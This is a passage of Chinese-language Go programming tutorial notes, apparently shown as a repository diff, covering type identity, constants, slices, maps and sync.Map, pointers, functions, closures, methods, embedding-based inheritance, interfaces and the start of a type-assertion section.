import "fmt"
type Person struct {
}
func (p *Person)Run() {
fmt.Println("run...")
}
type Student = Person
func (p *Student) Study() {
fmt.Println("study...")
}
```
### Go的类型系统补充
### 3.1 命名类型和未命名类型
- 命名类型Named Type类型通过标识符自定义类型表示
- 未命名类型Unamed Type也称为类型字面量Type Literal由预声明类型关键字操作符等组合而成如arrayslicechannelpointerfunction未使用type定义的struct未使用type定义的interface
示例
```go
// 命名类型,其类型是 Person
type Person struct {
name string
}
// 未命名类型,其类型是 struct { name string }
p := struct {
name string
}
```
### 3.2 底层类型
所有类型都有一个底层类型 underlying type其规则如下
- 预声明类型Pre-declared types和类型字面量type literals的底层类型是他们自身
- 自定义类型`type newtype oldtype`中newtype的底层类型是逐层递归向下查找的直到找到oldtype的预声明类型或字面量类型
### 3.3 Go中的类型相同
Go中类型相同的规范
- 命名类型的数据类型相同声明语句必须完全相同
- 未命名类型数据类型相同类型声明字面量结构相同且内部元素的类型相同
- 命名类型与未命名类型永远不同
- 通过类型别名语句声明的两个类型相同类型别名语法`type T1 = T2`

View File

@ -0,0 +1,112 @@
## 常量
常量在编译阶段就确定下来的值程序运行时无法改变
定义方式
```go
const A = 3
const PI float32 = 3.1415
const mask = 1 << 3 //常量与表达式
```
错误写法常量赋值是一个编译期行为右边的值不能出现在运行时才能得到结果的值
```go
const HOME = os.GetEnv("HOME")
```
## 无类型常量
一个常量可以有任意一个确定的基础类型例如int或float64但是许多常量并没有一个明确的基础类型
无类型常量的作用
- 编译器会为这些没有明确基础类型的数字常量提供比基础类型更高精度的算术运算可以认为至少有256bit的运算精度
- 无类型的常量可以直接用于更多的表达式而不需要显式的类型转换
示例math.Pi无类型的浮点数常量可以直接用于任意需要浮点数或复数的地方
```Go
var x float32 = math.Pi
var y float64 = math.Pi
var z complex128 = math.Pi
```
如果math.Pi被确定为特定类型比如float64那么结果精度可能会不一样同时对于需要float32或complex128类型值的地方则会强制需要一个明确的类型转换
```Go
const Pi64 float64 = math.Pi
var x float32 = float32(Pi64)
var y float64 = Pi64
var z complex128 = complex128(Pi64)
```
对于常量面值不同的写法可能会对应不同的类型例如00.00i`\u0000`虽然有着相同的常量值但是它们分别对应无类型的整数无类型的浮点数无类型的复数和无类型的字符等不同的常量类型同样true和false也是无类型的布尔类型字符串面值常量是无类型的字符串类型
前面说过除法运算符/会根据操作数的类型生成对应类型的结果因此不同写法的常量除法表达式可能对应不同的结果
```Go
var f float64 = 212
fmt.Println((f - 32) * 5 / 9) // "100"; (f - 32) * 5 is a float64
fmt.Println(5 / 9 * (f - 32)) // "0"; 5/9 is an untyped integer, 0
fmt.Println(5.0 / 9.0 * (f - 32)) // "100"; 5.0/9.0 is an untyped float
```
只有常量可以是无类型的当一个无类型的常量被赋值给一个变量的时候就像下面的第一行语句或者出现在有明确类型的变量声明的右边如下面的其余三行语句无类型的常量将会被隐式转换为对应的类型如果转换合法的话
```Go
var f float64 = 3 + 0i // untyped complex -> float64
f = 2 // untyped integer -> float64
f = 1e123 // untyped floating-point -> float64
f = 'a' // untyped rune -> float64
```
上面的语句相当于:
```Go
var f float64 = float64(3 + 0i)
f = float64(2)
f = float64(1e123)
f = float64('a')
```
无论是隐式或显式转换将一种类型转换为另一种类型都要求目标可以表示原始值对于浮点数和复数可能会有舍入处理
```Go
const (
deadbeef = 0xdeadbeef // untyped int with value 3735928559
a = uint32(deadbeef) // uint32 with value 3735928559
b = float32(deadbeef) // float32 with value 3735928576 (rounded up)
c = float64(deadbeef) // float64 with value 3735928559 (exact)
d = int32(deadbeef) // compile error: constant overflows int32
e = float64(1e309) // compile error: constant overflows float64
f = uint(-1) // compile error: constant underflows uint
)
```
对于一个没有显式类型的变量声明包括简短变量声明常量的形式将隐式决定变量的默认类型就像下面的例子
```Go
i := 0 // untyped integer; implicit int(0)
r := '\000' // untyped rune; implicit rune('\000')
f := 0.0 // untyped floating-point; implicit float64(0.0)
c := 0i // untyped complex; implicit complex128(0i)
```
注意有一点不同无类型整数常量转换为int它的内存大小是不确定的但是无类型浮点数和复数常量则转换为内存大小明确的float64和complex128
如果不知道浮点数类型的内存大小是很难写出正确的数值算法的因此Go语言不存在整型类似的不确定内存大小的浮点数和复数类型
如果要给变量一个不同的类型我们必须显式地将无类型的常量转化为所需的类型或给声明的变量指定明确的类型像下面例子这样
```Go
var i = int8(0)
var i int8 = 0
```
当尝试将这些无类型的常量转为一个接口值时见第7章这些默认类型将显得尤为重要因为要靠它们明确接口对应的动态类型
```Go
fmt.Printf("%T\n", 0) // "int"
fmt.Printf("%T\n", 0.0) // "float64"
fmt.Printf("%T\n", 0i) // "complex128"
fmt.Printf("%T\n", '\000') // "int32" (rune)
```

View File

@ -0,0 +1,173 @@
## 切片创建
切片(slice)解决了数组长度不能扩展以及基本类型数组传递时产生副本的问题
常用创建方式
```go
var s1 []int // 和声明数组一样只是没有长度但是这样做没有意义因为底层的数组指针为nil
s2 := []byte {'a','b','c'}
fmt.Println(s1) //输出 []
fmt.Print(s2) //输出 [97 98 99]
```
使用make函数创建
```go
slice1 := make([]int,5) // 创建长度为5容量为5初始值为0的切片
slice2 := make([]int,5,7) // 创建长度为5容量为7初始值为0的切片
slice3 := []int{1,2,3,4,5} // 创建长度为5容量为5并已经初始化的切片
```
从数组创建slice可以从一个数组再次声明slice通过array[i:j]来获取其中i是数组的开始位置j是结束位置但不包含array[j]它的长度是j-i:
```go
// 声明一个含有10个元素元素类型为byte的数组
var arr = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// 声明两个含有byte的slice
var a, b []byte
// a指向数组的第3个元素开始并到第五个元素结束现在a含有的元素: ar[2]、ar[3]和ar[4]
a = arr[2:5]
// b是数组arr的另一个slicre,b的元素是ar[3]和ar[4]
b = arr[3:5]
```
注意声明数组时方括号内写明了数组的长度或使用...自动计算长度而声明slice时方括号内没有任何字符
从切片创建
```go
oldSlice := []int{1,2,3}
newSlice := oldSlice[:6] //基于切片前6个元素创建没有的默认0
```
注意如果选择的旧切片长度超出了旧切片的cap()切片存储长度则不合法
## 切片常见操作
#### 2.1 切片常见内置函数
切片常用内置函数
```
len() 返回切片长度
cap() 返回切片底层数组容量
append() 对切片追加元素
func copy(dst, src []Type) int
将src中数据拷贝到dst中返回拷贝的元素个数
```
切片空间与元素个数
```go
slice1 := make([]int, 5, 10)
fmt.Println(len(slice1)) // 5
fmt.Println(cap(slice1)) // 10
fmt.Println(slice1) // [0 0 0 0 0]
```
切片操作
```go
//切片增加
slice1 = append(slice1,1,2)
fmt.Println(slice1) //输出[0 0 0 0 0 1 2]
//切片增加一个新切片
sliceTemp := make([]int,3)
slice1 = append(slice1,sliceTemp...)
fmt.Println(slice1) //输出[0 0 0 0 0 1 2 0 0 0]
//切片拷贝
s1 := []int{1,3,6,9}
s2 := make([]int, 10) //必须给与充足的空间
num := copy(s2, s1)
fmt.Println(s1) //[1 3 6 9]
fmt.Println(s2) //[1 3 6 9 0 0 0 0 0 0]
fmt.Println(num) //4
//切片中删除元素
s1 := []int{1,3,6,9}
index := 2 //删除该位置元素
s1 = append(s1[:index], s1[index+1:]...)
fmt.Println(s1) //[1 3 9]
// 切片拷贝
s1 := []int{1,2,3,4,5}
s2 := []int{6,7,8}
copy(s1,s2) //复制s2前三个元素到slice1前3位置
copy(s2,s1) //复制s1前三个元素到slice2
```
注意没有...会编译错误默认第二个参数后是元素值传入切片需要展开如果追加的长度超过当前已分配的存储空间切片会自动分配更大的内存
#### 2.2 切片的一些简便操作
- slice的默认开始位置是0ar[:n]等价于ar[0:n]
- slice的第二个序列默认是数组的长度ar[n:]等价于ar[n:len(ar)]
- 如果从一个数组里面直接获取slice可以这样ar[:]因为默认第一个序列是0第二个是数组的长度即等价于ar[0:len(ar)]
- 切片的遍历可以使用for循环也可以使用range函数
```go
// 声明一个数组
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// 声明两个slice
var aSlice, bSlice []byte
// 演示一些简便操作
aSlice = array[:3] // 等价于aSlice = array[0:3] aSlice包含元素: a,b,c
aSlice = array[5:] // 等价于aSlice = array[5:10] aSlice包含元素: f,g,h,i,j
aSlice = array[:] // 等价于aSlice = array[0:10] 这样aSlice包含了全部的元素
// 从slice中获取slice
aSlice = array[3:7] // aSlice包含元素: d,e,f,glen=4cap=7
bSlice = aSlice[1:3] // bSlice 包含aSlice[1], aSlice[2] 也就是含有: e,f
bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f
bSlice = aSlice[0:5] // 对slice的slice可以在cap范围内扩展此时bSlice包含d,e,f,g,h
bSlice = aSlice[:] // bSlice包含所有aSlice的元素: d,e,f,g
```
#### 2.3 切片的截取
- `s[n]`切片s中索引为位置为n的项
- `s[:]`从切片s的索引位置0到`len(s)-1`所获得的切片
- `s[low:]`从切片s的索引位置low到`len(s)-1`所获得的切片
- `s[:high]`从切片s的索引位置0到high所获得的切片
- `s[low:high]`从切片s的索引位置low到high所获得的切片
- `s[low:high:max]`从low到high的切片且容量`cap=max-low`
#### 1.7 字符串转切片
```go
str := "hello,世界"
a := []byte(str) //字符串转换为[]byte类型切片
b := []rune(str) //字符串转换为[]rune类型切片
```
## 切片存储结构
与数组相比切片多了一个存储能力值的概念即元素个数与分配空间可以是两个不同的值其结构如下所示
```go
type slice struct {
arrary = unsafe.Pointer //指向底层数组的指针
len int //切片元素数量
cap int //底层数组的容量
}
```
所以切片通过内部的指针和相关属性引用数组片段实现了变长方案Slice并不是真正意义上的动态数组
合理设置存储能力可以大幅提升性能比如知道最多元素个数为50那么提前设置为50而不是先设为30可以明显减少重新分配内存的操作
## 切片作为函数参数
```go
func test(s []int) {
fmt.Printf("test---%p\n", s) // 打印与main函数相同的地址
s = append(s, 1, 2, 3, 4, 5)
fmt.Printf("test---%p\n", s) // 一旦append的数据超过切片长度则会打印新地址
fmt.Println("test---", s) // [0 0 0 1 2 3 4 5]
}
func main() {
s1 := make([]int, 3)
test(s1)
fmt.Printf("main---%p\n", s1) // 不会因为test函数内的append而改变
fmt.Println("main---", s1) // [ 0 0 0]
}
```

View File

@ -0,0 +1,123 @@
## 集合map
#### 1.1 map的创建
Go内置了map类型map是一个无序键值对集合也有一些书籍翻译为字典
普通创建
```go
// 声明一个map类型[]内的类型指任意可以进行比较的类型 int指值类型
m := map[string]int{"a":1,"b":2}
fmt.Print(m["a"])
```
make方式创建map
```go
type Person struct{
ID string
Name string
}
func main() {
var m map[string] Person
m = make(map[string] Person)
m["123"] = Person{"123","Tom"}
p,isFind := m["123"]
fmt.Println(isFind) //true
fmt.Println(p) //{123 Tom}
}
```
注意golang中map的 key 通常 key int string但也可以是其他类型如bool数字string指针channel还可以是只包含前面几个类型的接口结构体数组slicemapfunction由于不能使用 == 来判断不能作为map的key
#### 1.2 map的使用
通过key操作元素
```go
var numbers map[string]int
numbers = make(map[string]int)
numbers["one"] = 1 //赋值
numbers["ten"] = 10 //赋值
numbers["three"] = 3
delete(numbers, "ten") // 删除key为 ten 的元素
fmt.Println("第三个数字是: ", numbers["three"]) // 读取数据
```
map的遍历同数组一样使用for-range 的结构遍历
注意
- map是无序的每次打印出来的map都会不一样它不能通过index获取而必须通过key获取
- map的长度是不固定的也就是和slice一样也是一种引用类型
- 内置的len函数同样适用于map返回map拥有的key的数量
- go没有提供清空元素的方法可以重新make一个新的map不用担心垃圾回收的效率因为go中并行垃圾回收效率比写一个清空函数高效很多
- map和其他基本型别不同它不是thread-safe在多个go-routine存取时必须使用mutex lock机制
#### 1.3 并发安全的map
演示并发读写map的问题
```go
package main
func main() {
m := make(map[int]int)
go func() {
for { //无限写入
m[1] = 1
}
}()
go func() {
for { //无限读取
_ = m[1]
}
}()
for {} //无限循环,让并发程序在后台执行
}
```
编译会有错误提示`fatal error: concurrent map read and map write`即出现了并发读写因为用两个并发程序不断的对map进行读和写产生了竞态问题map内部会对这种错误进行检查并提前发现
Go内置的map只有读是线程安全的读写是线程不安全的
需要并发读写时一般都是加锁但是这样做性能不高在go1.9版本中提供了更高效并发安全的sync.Map
sync.Map的特点
- 无须初始化直接声明即可
- sync.Map不能使用map的方式进行取值和设值操作而是使用sync.Map的方法进行调用Store表示存储Load表示获取Delete表示删除
- 使用Range配合一个回调函数进行遍历操作通过回调函数返回内部遍历出来的值需要继续迭代时返回true终止迭代返回false
```go
package main
import (
"fmt"
"sync"
)
func main() {
var scene sync.Map
//保存键值对
scene.Store("id",1)
scene.Store("name","lisi")
//根据键取值
fmt.Println(scene.Load("name"))
//遍历
scene.Range(func(k, v interface{}) bool{
fmt.Println(k,v)
return true
})
}
```
注意map没有提供获取map数量的方法可以在遍历时手动计算sync.Map为了并发安全损失了一定的性能

View File

@ -0,0 +1,65 @@
## 指针
### 1.1 指针的创建
Go保留了指针代表某个内存地址默认值为 `nil` 使用 `&` 取变量地址通过 `*` 访问目标对象
简单示例
```go
var a int = 10
fmt.Println("&a=", &a) // 0xc000096008 一个十六进制数
var p *int = &a
fmt.Println("*p=", *p) // 10
```
注意
- Go同样支持多级指针 `**T`
- 空指针声明但未初始化的指针
- 野指针引用了无效地址的指针`var p *int = 0``var p *int = 0xff00`(超出范围)
- Go中直接使用` . `访问目标成员
### 1.2 指针使用示例实现变量值交换
```go
func swap(p1,p2 *int) {
*p1,*p2 = *p2,*p1
}
```
### 1.3 结构体指针
示例
```go
type User struct{
name string
age int
}
func main() {
var u = User{
name:"lisi",
age: 18,
}
p := &u
fmt.Println(u.name) //输出李四
fmt.Println(p.name) //输出李四
}
```
### 1.4 Go不支持指针运算
由于垃圾回收机制的存在指针运算造成许多困扰所以Go直接禁止了指针运算
```go
a := 1
p := &a
p++ //报错non-numeric type *int
```
### 1.5 new()函数使用
new()函数可以在 heap堆 区申请一片内存地址空间
```go
var p *bool
p = new(bool)
fmt.Println(*p) // false
```

View File

@ -0,0 +1,221 @@
## 函数
#### 1.1 函数声明
函数声明格式
```go
func 函数名字 (参数列表) (返回值列表{
// 函数体
return 返回值列表
}
```
注意
- 函数名首字母小写为私有大写为公有
- 参数列表可以有0-多个多参数使用逗号分隔不支持默认参数
- 返回值列表返回值类型可以不用写变量名
- 如果只有一个返回值且不声明类型可以省略返回值列表与括号
- 如果有返回值函数内必须有return
Go中函数常见写法
```go
//无返回值默认返回0所以也可以写为 func fn() int {}
func fn(){}
//Go推荐给函数返回值起一个变量名
func fn1() (result int) {
return 1
}
//第二种返回值写法
func fn2() (result int) {
result = 1
return
}
//多返回值情
func fn3() (int, int, int) {
return 1,2,3
}
//Go返回值推荐多返回值写法
func fn4() (a int, b int, c int) { 多个参数类型如果相同可以简写为 a,b int
a , b, c = 1, 2, 3
return
}
```
#### 1.2 值传递和引用传递
不管是值传递还是引用传递传递给函数的都是变量的副本不同的是值传递的是值的拷贝引用传递的是地址的拷贝一般来说地址拷贝效率高因为数据量小而值拷贝决定拷贝的 数据大小数据越大效率越低
如果希望函数内的变量能修改函数外的变量可以传入变量的地址&函数内以指针的方式操作变量
#### 1.3 可变参数
可变参数变量是一个包含所有参数的切片如果要在多个可变参数中传递参数 可以在传递时在可变参数变量中默认添 ...将切片中的元素进行传递而不是传递可变参数变量本身
示例对可变参数列表进行遍历
```go
func joinStrings(slist ...string) string {
var buf bytes.Buffer
for _, s := range slist {
buf.WriteString(s)
}
return buf.String()
}
func main() {
fmt.Println(joinStrings("pig", " and", " bird"))
}
```
示例参数传递
```go
// 实际打印函数
func rawPrint(rawList ...interface{}) {
for _, a := range rawList {
fmt.Println(a)
}
}
// 封装打印函数
func print(slist ...interface{}) {
// 将slist可变参数切片完整传递给下一个函数
rawPrint(slist...)
}
func main() {
print(1,2,3)
}
```
#### 1.4 匿名函数
匿名函数可以看做函数字面量所有直接使用函数类型变量的地方都可以由匿名函数代替匿名函数可以直接赋值给函数变量可以当做实参也可以作为返回值使用还可以直接被调用
```go
func main() {
a := 3
f1 := func(num int) { // f1 即为匿名函数
fmt.Println(num) // 匿名函数访问外部变量
}
f1(a)
func() { // 匿名函数自调
fmt.Println(a)
}()
}
//匿名函数实战:取最大值,最小值
x, y := func(i,j int) (max,min int) {
if i > j {
max = i
min = j
} else {
max = j
min = i
}
return
}(10,20)
fmt.Println(x + ' ' + y)
```
#### 1.5 函数类型
函数去掉函数名参数名和{}后的结果即是函数类型可以使用%T打印该结果
两个函数类型相同的前提是拥有相同的形参列表和返回值列表且列表元素的次序类型都相同形参名可以不同
示例
```go
func mathSum(a, b int) int {
return a + b
}
func mathSub(a, b int) int {
return a - b
}
//定义一个函数类型
type MyMath func(int, int) int
//定义的函数类型作为参数使用
func Test(f MyMath, a , b int) int{
return f(a,b)
}
```
通常可以把函数类型当做一种引用类型实际函数类型变量和函数名都可以当做指针变量只想函数代码开始的位置没有初始化的函数默认值是nil
## Go函数特性总结
- 支持有名称的返回值
- 不支持默认值参数
- 不支持重载
- 不支持命名函数嵌套匿名函数可以嵌套
- Go函数从实参到形参的传递永远是值拷贝有时函数调用后实参指向的值发生了变化是因为参数传递的是指针的拷贝实参是一个指针变量传递给形参的是这个指针变量的副本实质上仍然是值拷贝
- Go函数支持不定参数
## 两个特殊函数
#### 3.1 init函数
Go语言中除了可以在全局声明中初始化实体也可以在init函数中初始化init函数是一个特殊的函数它会在包完成初始化后自动执行执行优先级高于main函数并且不能手动调用init函数每一个文件可以有多个init函数初始化过程会根据包的以来关系顺序单线程执行
```go
package main
import (
"fmt"
)
func init() {
//在这里可以书写一些初始化操作
fmt.Println("init...")
}
func main() {
fmt.Println("main...")
}
```
#### 3.2 new函数
new函数可以用来创建变量表达式`new(T)`将创建一个T类型的匿名变量初始化为T类型的零值然后返回变量地址返回的指针类型为`*T`
```go
p := new(int) // p 为 *int类型只想匿名的int变量
fmt.Println(*p) // "0"
*p = 2 // 设置 int匿名变量值为2
fmt.Println(*p)
```
new函数还可以用来为结构体创建实例
```go
type file struct {
}
f := new(file)
```
贴士new函数其实是语法糖不是新概念如下所示的两个函数其实拥有相同的行为
```go
func newInt1() *int {
return new(int)
}
func newInt2() *int {
var dummy int
return &dummy
}
```
注意`new`只是一个预定义函数并不是一个关键字所以`new`也有可能会被项目定义为别的类型
#### 3.3 make函数
make函数经常用来创建切片Map管道
```go
m1 := map[string]int{}
m2 := make(map[string]int, 10)
```
上面展示了两种map的创建方式其不同点是第一种创建方式无法预估长度当长度超过了当前长度时会引起内存的拷贝第二种创建方式直接限定了长度这样能有效提升性能

View File

@ -0,0 +1,61 @@
## 闭包
#### 1.1 闭包概念
闭包是引用了自由变量的函数被引用的自由变量和函数一同存在即使己经离开了自由变量的环境也不会被释放或者删除在闭包中可以继续使用这个自由变量
简单的说 : 函数+引用环境=闭包
贴士闭包( Closure)在某些编程语言中也被称为 Lambda表达式如Java
在闭包中可以修改引用的变量
```go
str := "hello"
foo := func(){ // 声明一个匿名函数
str = "world"
}
foo() // 调用匿名函数修改str值
fmt.Print(str) // world
```
#### 1.2 闭包案例一 简单示例
```go
func fn1(a int) func(i int) int {
return func(i int) int {
print(&a, a)
return a
}
}
func main() {
f := fn1(1) //输出地址
g := fn1(2) //输出地址
fmt.Println(f(1)) //输出1
fmt.Println(f(1)) //输出1
fmt.Println(g(2)) //输出2
fmt.Println(g(2)) //输出2
}
```
#### 1.3 闭包案例二 实现累加器
```go
func Accumulate(value int) func() int {
return func() int { // 返回一个闭包
value++
return value
}
}
func main() {
accAdd := Accumulate(1)
fmt.Println(accAdd()) // 2
fmt.Println(accAdd()) // 3
}
```

View File

@ -0,0 +1,202 @@
## 面向对象初识
#### 1.1 模拟构造函数
Go和传统的面向对象语言如Java有着很大区别结构体没有构造函数初始化功能可以通过以下方式模拟
```go
package main
import (
"fmt"
)
type Person struct {
Name string
Age int
}
func NewPersonByName(name string) *Person {
return &Person{
Name: name,
}
}
func NewPersonByAge(age int) *Person {
return &Person{
Age: age,
}
}
func main() {
p := NewPersonByName("zs")
fmt.Println(p) // {zs 0}
}
```
贴士因为Go没有函数重载为了避免函数名字冲突使用了`NewPersonByName``NewPersonByAge`两个不同的函数表示不同的`Person`构造过程
#### 1.2 父子关系结构体初始化
Person可以看做父类Student是子类子类需要继承父类的成员
```go
package main
import (
"fmt"
)
type Person struct {
Name string
Age int
}
type Student struct {
Person
ClassName string
}
//构造父类
func NewPerson(name string, age int) *Person {
return &Person{
Name: name,
Age: age,
}
}
//构造子类
func NewStudent(classname string) *Student {
p := &Student{}
p.ClassName = classname
return p
}
func main() {
s := NewStudent("一班")
fmt.Println(s) // &{{ 0} 一班}
}
```
#### 1.3 Go中的面向对象初识
在Go中可以给任意类型除了指针添加相应方法
```go
type Interger int
func (i Interger) Less (j Interger) bool {
return i < j
}
func main() {
var i Interger = 1
fmt.Print(i.Less(5))
}
```
## 方法
#### 2.1 方法
Golang 中的方法是作用在指定的数据类型上的(:和指定的数据类型绑定)因此自定义类型都可以有方法而不仅仅是 struct
方法的声明和调用
```go
func (recevier type) methodName(参数列表) (返回值列表){
//方法体
return 返回值
}
```
方法与函数的示例
```go
package main
import (
"fmt"
)
type Person struct {
Name string
Age int
}
// 一个run函数
func run(p *Person, name string) {
p.Name = name
fmt.Println("函数 run...", p.Name)
}
// 一个run方法
func (p *Person)run() {
fmt.Println("方法 run...", p.Name)
}
func main() {
// 实例化一个对象(结构体)
p1 := &Person{
"ruyue",
10,
}
// 执行一个普通方法
run(p1, "张三") // 输出 函数 run... 张三
// 执行方法
p1.run() // 输出 方法 run... 张三
}
```
#### 2.2 Go方法本质
Go的方法是一种作用于特定类型变量的函数这种特定类型的变量叫做接收器Receiver如果特定类型理解为结构体或者接收器就类似于其他语言的this或者self
在Go中接收器可以是任何类型不仅仅是结构体依此我们看出Go中的方法和其他语言的方法类似但是Go语言的接收器强调方法的作用对象是实例
方法与函数的区别就是函数没有作用对象
指针接收器传入的是 struct 本身指针接收器可以读写 struct 中的内容在方法结束后修改都是有效的
非指针接收器传入的是 struct copy 副本非指针接收器只能读取 struct 中的数据但是不能写入如果写入的话也只是写入到 struct 的备份中而已
示例如下:
```go
package main
import "fmt"
type student struct {
age int8
}
//指针接收器
func(s *student) ageAdd1() {
s.age += 1
}
//非指针接收器
func(s student) ageAdd2() {
s.age += 1
}
func main() {
student := new(student)
student.ageAdd1()
fmt.Println(student.age) // 1 传入指针,原值 + 1为 1
student.ageAdd1()
fmt.Println(student.age) // 2 传入指针,原值 + 1为 2
student.ageAdd2()
fmt.Println(student.age) // 2 传入复制体,复制体 + 1所以原值还是 2
}
```
一般情况下小对象由于复制时速度较快适合使用非指针接收器大对象因为复制性能较低适合使用指针接收器此时再接收器和参数之间传递时不进行复制只传递指针

View File

@ -0,0 +1,169 @@
## 面向对象三大特性
#### 1.1 封装
封装把抽象出的字段和对字段的操作封装在一起,数据被保护在内部,程序的其它包只有通过被授权的操作(方法),才能对字段进行修改其作用有
- 隐藏实现细节
- 可以对数据进行验证保证安全合理
Golang对面向对象做了极大简化并不强调封装特性下列示例进行模拟实现
`person`包下新建`person.go`文件
```go
package person
import "fmt"
type person struct {
Name string
age int //年龄是隐私,不允许其他包访问
}
//工厂函数(类似构造函数)
func NewPerson(name string) *person {
return &person{
Name: name,
}
}
func (p *person) SetAge(age int) {
if age > 0 && age < 150 { //校验
p.age = age
} else {
fmt.Println("年龄不合法")
}
}
func (p *person) GetAge() int {
return p.age
}
```
`main.go`文件操作person
```go
package main
import (
"demo/person" // demo是go mod模式下整体项目名
"fmt"
)
func main() {
p := person.NewPerson("Tom")
p.SetAge(18)
fmt.Println(p)
}
```
#### 1.2 继承
Golang 如果一个 struct 嵌套了另一个匿名结构体那么这个结构体可以直接访 问匿名结构体的字段和方法从而实现了继承特性
```go
package main
import (
"fmt"
)
type Father struct {
Name string
age int
}
func (f *Father) run() {
fmt.Println(f.Name + " like running...")
}
type Son struct {
Father //嵌套匿名结构体
}
func main() {
var s Son
//s.Father.Name = "Tom"
//s.Father.age = 10 //可以访问未导出属性
//s.Father.run() //可以访问未导出方法
//上述可以简写为:
s.Name = "Tom"
s.age = 10
s.run()
}
```
注意
- 当结构体和匿名结构体有相同的字段或者方法时编译器采用就近访问原则访问如果希望访问匿名结构体的字段和方法可以通过匿名结构体名来区分
- 结构体嵌入多个匿名结构体如果两个匿名结构体有相同的字段和方法(同时结构体本身没有同名的字段和方法)访问时必须明确指定匿名结构体名字否则编译报错
- 如果一个 struct 嵌套了一个有名结构体这种模式就是组合如果是组合关系那么在访问组合的结构体的字段或方法时必须带上结构体的名字
关于多重继承如果一个 struct 嵌套了多个匿名结构体那么该结构体可以直接访问嵌套的匿名结构体的字段和方法从而实现多重继承
```go
package main
import (
"fmt"
)
type Father1 struct {
Name string
age int
}
func (f *Father1) run() {
fmt.Println(f.Name + " like running...")
}
type Father2 struct {
Like string
}
type Son1 struct {
Father1
Father2
}
type Son2 struct {
*Father1
*Father2
}
func main() {
s1 := &Son1 {
Father1{
Name: "Tom",
age: 10,
},
Father2{
Like: "伏特加",
},
}
fmt.Println(s1)
s2 := &Son2{
&Father1{
Name: "Tom",
age: 10,
},
&Father2{
Like: "伏特加",
},
}
fmt.Println(s2.Father1)
}
```
输出结果
```
&{{Tom 10} {伏特加}}
&{Tom 10}
```
#### 1.3 多态
多态与接口interface有关联参见接口章节

View File

@ -0,0 +1,197 @@
## 接口 interface
接口interface是调用方和实现方均需要遵守的一种约束约束开发者按照统一的方法命名参数类型数量来处理具体业务实际上接口就是一组没有实现的方法声明到某个自定义类型要使用该方法时根据具体情况把这些方法实现出来接口语法
```go
type 接口类型名 interface {
方法名1(参数列表) 返回值列表
方法名2(参数列表) 返回值列表
...
}
```
示例
```go
package main
import "fmt"
// 运输方式
type Transporter interface {
BicycleTran()
CarTran()
}
// 驾驶员
type Driver struct {
Name string
Age int
}
// 实现运输方式接口
func (d *Driver) BicycleTran() {
fmt.Println("使用自行车运输")
}
func (d *Driver) CarTran() {
fmt.Println("使用小汽车运输")
}
func main() {
d := &Driver{
"张三",
27,
}
trans(d)
}
// 只要实现了 Transporter接口的类型都可以作为参数
func trans(t Transporter) {
t.BicycleTran()
}
```
注意
- Go语言的接口在命名时一般会在单词后面添加er如写操作的接口叫做Writer
- 当方法名首字母大写且实现的接口首字母也是大写则该方法可以被接口所在包之外的代码访问
- 方法与接口中的方法签名一致方法名参数列表返回列表都必须一致
- 参数列表和返回值列表中的变量名可以被忽略type writer interfae{ Write([]byte) error}
- 接口中所有的方法都必须被实现
- 如果编译时发现实现接口的方法签名不一致则会报错` does not implement `
## Go接口的特点
在上述示例中Go无须像Java那样显式声明实现了哪个接口即为非侵入式接口编写者无需知道接口被哪些类型实现接口实现者只需要知道实现的是什么样子的接口但无需指明实现了哪个接口编译器知道最终编译时使用哪个类型实现哪个接口或者接口应该由谁来实现
类型和接口之间有一对多和多对一的关系
- 一个类型可以实现多个接口接口间是彼此独立的互相不知道对方的实现
- 多个类型也可以实现相同的接口
```go
type Service interface {
Start()
Log(string)
}
// 日志器
type Logger struct {
}
//日志输出方法
func (g *Logger) Log(s string){
fmt.Println("日志:", s)
}
// 游戏服务
type GameService struct {
Logger
}
// 实现游戏服务的Start方法
func (g *GameService) Start() {
fmt.Println("游戏服务启动")
}
func main() {
s := new(GameService)
s.Start()
s.Log("hello")
}
```
在上述案例中即使没有接口也能运行但是当存在接口时会隐式实现接口让接口给类提供约束
使用接口调用了结构体中的方法也可以理解为实现了面向对象中的多态
## 接口嵌套
Go中不仅结构体之间可以嵌套接口之间也可以嵌套接口与接口嵌套形成了新的接口只要接口的所有方法被实现则这个接口中所有嵌套接口的方法均可以被调用
```go
// 定义一个 写 接口
type Writer interface {
Write(p []byte) (n int, e error)
}
// 定义一个 读 接口
type Reader interface {
Read() error
}
// 定义一个 嵌套接口
type IO interface {
Writer
Closer
}
```
## 空接口
#### 4.1 空接口定义
空接口是接口的特殊形式没有任何方法因此任何具体的类型都可以认为实现了空接口
```go
var any interface{}
any = 1
fmt.Println(any)
any = "hello"
fmt.Println(any)
```
空接口作为函数参数
```go
func Test(i interface{}) {
fmt.Printf("%T\n", i)
}
func main() {
Test(3) // int
Test("hello") // sting
}
```
利用空接口可以实现任意类型的存储
```go
m := make(map[string]interface{})
m["name"] = "李四"
m["age"] = 30
```
#### 4.2 从空接口获取值
保存到空接口的值如果直接取出指定类型的值时会发生编译错误
```go
var a int = 1
var i interface{} = a
var b int = i //这里编译报错类型不一致可以这样做b := i
```
#### 4.3 空接口值比较
类型不同的空接口比较
```go
var a interface{} = 100
var b interface{} = "hi"
fmt.Println(a == b) //false
```
不能比较空接口中的动态值
```go
var c interface{} = []int{10}
var d interface{} = []int{20}
fmt.Println(c == d) //运行报错
```
空接口的类型和可比较性
| 类型 | 说明 |
| ---- | ---- |
| map | 不可比较会发生宕机错误 |
| 切片 | 不可比较会发生宕机错误 |
| 通道 | 可比较必须由同一个make生成即同一个通道才是true |
| 数组 | 可比较编译期即可知道是否一致 |
| 结构体 | 可比较可诸葛比较结构体的值 |
| 函数 | 可比较 |

View File

@ -0,0 +1,163 @@
## 断言
接口是编程的规范他也可以作为函数的参数以让函数更具备适用性在下列示例中有三个接口动物接口飞翔接口游泳接口两个实现类鸟类与鱼类
- 鸟类实现了动物接口飞翔接口
- 鱼类实现了动物接口游泳接口
```go
package main
import "fmt"
// 定义一个通用接口:动物接口
type Animal interface {
Breath() // 动物都具备 呼吸方法
}
type Flyer interface {
Fly()
}
type Swimer interface {
Swim()
}
// 定义一个鸟类:其呼吸的方式是在陆地
type Bird struct {
Name string
Food string
Kind string
}
func (b *Bird) Breath() {
fmt.Println("鸟 在 陆地 呼吸")
}
func (b *Bird) Fly() {
fmt.Printf("%s 在 飞\n", b.Name)
}
